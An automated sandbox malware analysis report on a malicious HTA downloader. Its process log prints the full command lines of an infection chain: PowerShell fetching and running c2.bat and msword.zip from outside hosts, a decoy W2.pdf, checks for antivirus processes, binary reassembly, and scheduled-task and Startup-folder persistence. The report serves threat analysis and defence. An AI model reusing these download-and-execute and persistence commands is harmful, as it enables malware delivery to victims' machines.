                                                                          SHA-512:902BB7F56B5E5C49B8798154B5A79B0D820C41308A0BAA1346CBB2FE0C04BB2D6A756D27AF598E59EC0A688FBB19351F42338E58EE6DE2EC8A87566130EE7929
                                                                          Malicious:true
                                                                          Preview:%PDF-1.4.%.....1 0 obj.<</Type/XObject/Subtype/Image/Width 2549/Height 3299/Length 35678/ColorSpace[/Indexed[/CalRGB<</Gamma[2.2 2.2 2.2]/Matrix[0.41239 0.21264 0.01933 0.35758 0.71517 0.11919 0.18045 0.07218 0.9504]/WhitePoint[0.95043 1 1.09]>>] 1(......)]/DecodeParms<</BitsPerComponent 1/Predictor 15/Columns 2549/Colors 1>>/Intent/Perceptual/BitsPerComponent 1/Filter/FlateDecode>>stream.x...Mo...y.^..Q@.3.w..x9...z#...q. ...|...U-...(5J%Re..^.f..F.m.".N..P/..7P(.J....Z....9...C.h....w.w......dO2}D..#A.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.~..'.

                                                                          Static File Info

                                                                          General

                                                                          File type:HTML document, ASCII text, with CRLF line terminators
                                                                          Entropy (8bit):4.773466281011212
                                                                          TrID:
                                                                          • HyperText Markup Language (12001/1) 40.67%
                                                                          • HyperText Markup Language (11501/1) 38.98%
                                                                          • HyperText Markup Language (6006/1) 20.35%
                                                                          File name:c.hta
                                                                          File size:1'224 bytes
                                                                          MD5:4fadf00aa57b7ca6bcb6b02cb338c0b2
                                                                          SHA1:ceb81e97c94c5655d1743114044f505184ddead2
                                                                          SHA256:8da5bb4d9cfd29718720e839bb75ee58f92b6e41f0181b6eede4234d3122dab6
                                                                          SHA512:99f25e03da69b6afded6be3b07bf7bdd90a2e7a08663cf4b9183674e4c0cdf6ad61c400b212341d84b3f82fa2ee1ccf9e1362d7f8b21460b6bc6a6612c897c2c
                                                                          SSDEEP:24:I5ATsWh2cpwg5ilnOH9qQI0gj+ILhH/8JoMCO:GOhh2g5i5OdqQI0g7dH/w/CO
                                                                          TLSH:60212D2BF86FC878957A84E214AADC48F68903134388A88B705C10A36F7E38B42C20DD
                                                                          File Content Preview:<html>..<head>.. <title></title>.. <HTA:APPLICATION.. ID="app".. APPLICATIONNAME="Downloader".. WINDOWSTATE="minimize".. BORDER="thin".. SCROLL="no".. SINGLEINSTANCE="yes".. SHOWINTASKBAR="no"..

                                                                          Network Behavior

                                                                          ⊘No network behavior found

                                                                          Statistics

                                                                          CPU Usage

                                                                          Click to jump to process

                                                                          Memory Usage

                                                                          Click to jump to process

                                                                          High Level Behavior Distribution

                                                                          Click to dive into process behavior distribution

                                                                          Behavior

                                                                          Click to jump to process

                                                                          System Behavior

                                                                          General

                                                                          Target ID:0
                                                                          Start time:22:18:59
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\mshta.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:mshta.exe "C:\Users\user\Desktop\c.hta"
                                                                          Imagebase:0xa0000
                                                                          File size:13'312 bytes
                                                                          MD5 hash:06B02D5C097C7DB1F109749C45F3F505
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:moderate
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:2
                                                                          Start time:22:18:59
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow"
                                                                          Imagebase:0x320000
                                                                          File size:433'152 bytes
                                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:3
                                                                          Start time:22:18:59
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\System32\conhost.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          Imagebase:0x7ff7699e0000
                                                                          File size:862'208 bytes
                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:4
                                                                          Start time:22:19:01
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\c2.bat""
                                                                          Imagebase:0x240000
                                                                          File size:236'544 bytes
                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:5
                                                                          Start time:22:19:02
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"
                                                                          Imagebase:0x320000
                                                                          File size:433'152 bytes
                                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:6
                                                                          Start time:22:19:04
                                                                          Start date:11/01/2025
                                                                          Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf"
                                                                          Imagebase:0x7ff6bc1b0000
                                                                          File size:5'641'176 bytes
                                                                          MD5 hash:24EAD1C46A47022347DC0F05F6EFBB8C
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:false

                                                                          General

                                                                          Target ID:7
                                                                          Start time:22:19:04
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"
                                                                          Imagebase:0x320000
                                                                          File size:433'152 bytes
                                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:8
                                                                          Start time:22:19:05
                                                                          Start date:11/01/2025
                                                                          Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
                                                                          Imagebase:0x800000
                                                                          File size:3'581'912 bytes
                                                                          MD5 hash:9B38E8E8B6DD9622D24B53E095C5D9BE
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:false

                                                                          General

                                                                          Target ID:9
                                                                          Start time:22:19:05
                                                                          Start date:11/01/2025
                                                                          Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1576,i,16045763869341166772,13330645250121151550,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
                                                                          Imagebase:0x7ff74bb60000
                                                                          File size:3'581'912 bytes
                                                                          MD5 hash:9B38E8E8B6DD9622D24B53E095C5D9BE
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:false

                                                                          General

                                                                          Target ID:12
                                                                          Start time:22:19:14
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"
                                                                          Imagebase:0x320000
                                                                          File size:433'152 bytes
                                                                          MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:16
                                                                          Start time:22:19:34
                                                                          Start date:11/01/2025
                                                                          Path:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:msword.exe
                                                                          Imagebase:0x400000
                                                                          File size:597'659'152 bytes
                                                                          MD5 hash:0DE162AA65BC5DAE2145333A0D1F8801
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Antivirus matches:
                                                                          • Detection: 16%, ReversingLabs
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:17
                                                                          Start time:22:19:36
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd
                                                                          Imagebase:0x240000
                                                                          File size:236'544 bytes
                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:18
                                                                          Start time:22:19:36
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\System32\conhost.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          Imagebase:0x7ff7699e0000
                                                                          File size:862'208 bytes
                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:19
                                                                          Start time:22:19:37
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\tasklist.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:tasklist
                                                                          Imagebase:0xc40000
                                                                          File size:79'360 bytes
                                                                          MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:20
                                                                          Start time:22:19:37
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\findstr.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:findstr /I "opssvc wrsa"
                                                                          Imagebase:0x150000
                                                                          File size:29'696 bytes
                                                                          MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:21
                                                                          Start time:22:19:38
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\tasklist.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:tasklist
                                                                          Imagebase:0xc40000
                                                                          File size:79'360 bytes
                                                                          MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:22
                                                                          Start time:22:19:38
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\findstr.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                                                          Imagebase:0x150000
                                                                          File size:29'696 bytes
                                                                          MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:23
                                                                          Start time:22:19:39
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:cmd /c md 361684
                                                                          Imagebase:0x240000
                                                                          File size:236'544 bytes
                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:24
                                                                          Start time:22:19:39
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\extrac32.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:extrac32 /Y /E Approaches
                                                                          Imagebase:0x6c0000
                                                                          File size:29'184 bytes
                                                                          MD5 hash:9472AAB6390E4F1431BAA912FCFF9707
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:25
                                                                          Start time:22:19:39
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\findstr.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:findstr /V "Korea" Measurement
                                                                          Imagebase:0x150000
                                                                          File size:29'696 bytes
                                                                          MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:26
                                                                          Start time:22:19:39
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com
                                                                          Imagebase:0x240000
                                                                          File size:236'544 bytes
                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:27
                                                                          Start time:22:19:39
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U
                                                                          Imagebase:0x240000
                                                                          File size:236'544 bytes
                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:28
                                                                          Start time:22:19:39
                                                                          Start date:11/01/2025
                                                                          Path:C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
                                                                          Wow64 process (32bit):true
                                                                          Commandline:Propose.com U
                                                                          Imagebase:0xa00000
                                                                          File size:947'288 bytes
                                                                          MD5 hash:62D09F076E6E0240548C2F837536A46A
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Antivirus matches:
                                                                          • Detection: 0%, ReversingLabs
                                                                          Has exited:false

                                                                          General

                                                                          Target ID:29
                                                                          Start time:22:19:39
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\choice.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:choice /d y /t 5
                                                                          Imagebase:0xdd0000
                                                                          File size:28'160 bytes
                                                                          MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:30
                                                                          Start time:22:19:40
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
                                                                          Imagebase:0x240000
                                                                          File size:236'544 bytes
                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:31
                                                                          Start time:22:19:40
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\System32\conhost.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          Imagebase:0x7ff7699e0000
                                                                          File size:862'208 bytes
                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:32
                                                                          Start time:22:19:40
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\schtasks.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
                                                                          Imagebase:0xa10000
                                                                          File size:187'904 bytes
                                                                          MD5 hash:48C2FE20575769DE916F48EF0676A965
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:33
                                                                          Start time:22:19:40
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & echo URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & exit
                                                                          Imagebase:0x240000
                                                                          File size:236'544 bytes
                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:34
                                                                          Start time:22:19:40
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\System32\conhost.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          Imagebase:0x7ff7699e0000
                                                                          File size:862'208 bytes
                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:35
                                                                          Start time:22:19:41
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\System32\wscript.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
                                                                          Imagebase:0x7ff6fb430000
                                                                          File size:170'496 bytes
                                                                          MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:36
                                                                          Start time:22:19:41
                                                                          Start date:11/01/2025
                                                                          Path:C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
                                                                          Imagebase:0xdd0000
                                                                          File size:947'288 bytes
                                                                          MD5 hash:62D09F076E6E0240548C2F837536A46A
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Antivirus matches:
                                                                          • Detection: 0%, ReversingLabs
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:37
                                                                          Start time:22:19:53
                                                                          Start date:11/01/2025
                                                                          Path:C:\Windows\System32\wscript.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
                                                                          Imagebase:0x7ff6fb430000
                                                                          File size:170'496 bytes
                                                                          MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:38
                                                                          Start time:22:19:54
                                                                          Start date:11/01/2025
                                                                          Path:C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
                                                                          Imagebase:0xa10000
                                                                          File size:947'288 bytes
                                                                          MD5 hash:62D09F076E6E0240548C2F837536A46A
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Has exited:true

                                                                          Disassembly

                                                                          Reset < >

                                                                            Execution Graph

                                                                            Execution Coverage:3.1%
                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                            Signature Coverage:32%
                                                                            Total number of Nodes:25
                                                                            Total number of Limit Nodes:0
                                                                            execution_graph 6553 4607fa0 6554 4607fcf 6553->6554 6555 460812e 6554->6555 6557 4608a0a 6554->6557 6558 4608a21 6557->6558 6559 4608a29 6557->6559 6558->6555 6563 4608a48 6559->6563 6569 46090ef 6559->6569 6573 4608a38 6559->6573 6564 4608a72 6563->6564 6579 4607e8c 6564->6579 6566 4607e98 ResumeThread 6567 46090d7 6566->6567 6568 460901e 6568->6566 6570 46090be 6569->6570 6583 4607e98 6570->6583 6574 4608a48 6573->6574 6575 4607e8c CreateProcessW 6574->6575 6578 460901e 6575->6578 6576 4607e98 ResumeThread 6577 46090d7 6576->6577 6578->6576 6580 4609518 CreateProcessW 6579->6580 6582 46097c7 6580->6582 6584 46098e8 ResumeThread 6583->6584 6586 46090d7 6584->6586

                                                                            Executed Functions

                                                                            Function 04608A48 Relevance: 4.2, Strings: 3, Instructions: 481COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 0 4608a48-4608aa3 5 4608aa5-4608aab 0->5 6 4608aad 0->6 7 4608ab0-4608ab4 5->7 6->7 8 4608ab6-4608abc 7->8 9 4608abe 7->9 10 4608ac1-4608ace 8->10 9->10 12 4608ad0-4608b1a 10->12 13 4608b1c-4608b5c call 4607e74 10->13 21 4608b64-4608b68 12->21 13->21 23 4608bb6-4608bf6 call 4607e74 21->23 24 4608b6a-4608bb4 21->24 33 4608bfe-4608c02 23->33 24->33 35 4608c50-4608c99 call 4607e74 33->35 36 4608c04-4608c4e 33->36 45 4608ca1-4608cb1 35->45 36->45 47 4608cb3-4608cb8 45->47 48 4608cba-4608cc8 45->48 49 4608cef-4608d04 47->49 48->49 50 4608cca 48->50 57 4608d87-4608d8b 49->57 58 4608d0a-4608d20 49->58 52 4608cd1-4608cd7 50->52 53 4608ce1-4608ce7 50->53 54 4608ce9 50->54 55 4608cd9-4608cdf 50->55 52->49 53->49 54->49 55->49 59 4608d91-4608d9a 57->59 60 4608fba-4608fee 57->60 58->57 61 4608d22-4608d30 58->61 62 4608da3-4608dac 59->62 63 4608d9c 59->63 84 4608ff0-4608ff6 60->84 85 4608ff8 60->85 68 4608d40-4608d84 61->68 69 4608d32-4608d39 61->69 64 4608dba-4608dc5 62->64 65 4608dae-4608db8 62->65 63->62 73 4608dc7-4608dce 64->73 65->73 68->57 69->68 76 4608dd0-4608dd6 73->76 77 4608dd8 73->77 79 4608ddb-4608ddf 76->79 77->79 81 4608de1-4608ded 79->81 82 4608def-4608df2 79->82 83 4608df8-4608dfc 81->83 82->83 87 4608e06 83->87 88 4608dfe-4608e04 83->88 89 4608ffb-4609020 call 4607e8c 84->89 85->89 92 4608e09-4608e2a call 4607e80 87->92 88->92 95 4609026-46090b7 89->95 96 46090be-46090d2 call 4607e98 89->96 98 4608e30-4608e42 92->98 99 4608f8c-4608fad 92->99 95->96 106 46090d7-4609116 96->106 107 4608e44-4608e56 98->107 108 4608e5b-4608e61 98->108 112 4608fb7 99->112 113 4608faf 99->113 127 4609120-4609144 106->127 128 4609118 106->128 125 4608f34-4608f39 107->125 110 4608e63-4608ed3 108->110 111 4608ed5-4608f32 108->111 110->125 111->125 112->60 113->112 129 4608f85 125->129 130 4608f3b-4608f83 125->130 144 4609145 127->144 128->127 129->99 130->129 144->144
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000002.00000002.1683391920.0000000004600000.00000040.00000800.00020000.00000000.sdmp, Offset: 04600000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_2_2_4600000_powershell.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4L^q$4L^q$4L^q
                                                                            • API String ID: 0-1735365799
                                                                            • Opcode ID: 1cc05f87284c518f7291ac8ed48cdf4827588f5d4fde44294854290d515f2afd
                                                                            • Instruction ID: df06d99c6a338b1be5dd4837d8bd8b954fa937407dbfc88968cea329360bb55d
                                                                            • Opcode Fuzzy Hash: 1cc05f87284c518f7291ac8ed48cdf4827588f5d4fde44294854290d515f2afd
                                                                            • Instruction Fuzzy Hash: E7125970A002049FDB18EF64C4947AEBBF2BF88314F14C5ADD50A9B396EB75A845CF91
                                                                            Function 0460950E Relevance: 1.8, APIs: 1, Instructions: 285COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
